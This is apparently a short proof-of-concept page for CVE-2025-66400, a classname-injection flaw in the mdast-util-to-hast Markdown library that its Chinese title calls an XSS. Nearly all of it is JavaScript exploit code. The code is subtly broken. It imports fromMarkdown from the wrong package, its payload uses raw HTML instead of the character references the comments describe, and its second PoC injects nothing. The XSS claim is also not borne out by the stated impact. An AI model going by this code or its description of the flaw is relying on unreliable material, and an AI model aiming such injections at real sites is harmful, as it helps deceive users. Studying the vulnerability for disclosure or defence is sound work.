CVE-2025-66400: mdast-util-to-hast字符引用注入classname导致XSS漏洞

// CVE-2025-66400 PoC - mdast-util-to-hast classname injection via character references // This PoC demonstrates how character references can be used to inject additional classnames const { fromMarkdown } = require('mdast-util-to-hast'); const { toHast } = require('mdast-util-to-hast'); const { h } = require('hastscript'); // Malicious markdown with character references to inject classnames // The backtick sequence contains HTML character references that decode to 'injected-class' const maliciousMarkdown = ` \`\`\`some-class</p\x3E;<p class="injected-class"> console.log('malicious code'); \`\`\` `; // Alternative PoC - using character references to add multiple classes const altPoC = ` \`\`\`abc def malicious code here \`\`\` `; // Process the markdown const mdast = fromMarkdown(maliciousMarkdown); const hast = toHast(mdast); console.log('Generated HTML AST:', JSON.stringify(hast, null, 2)); // The output will show injected classnames in the code element's class attribute // Example output structure: // { // type: 'element', // tagName: 'pre', // properties: { className: ['some-class', 'injected-class'] }, // children: [...] // } // Impact: The injected class can match page CSS rules, making the code block // appear as legitimate content or be styled to deceive users.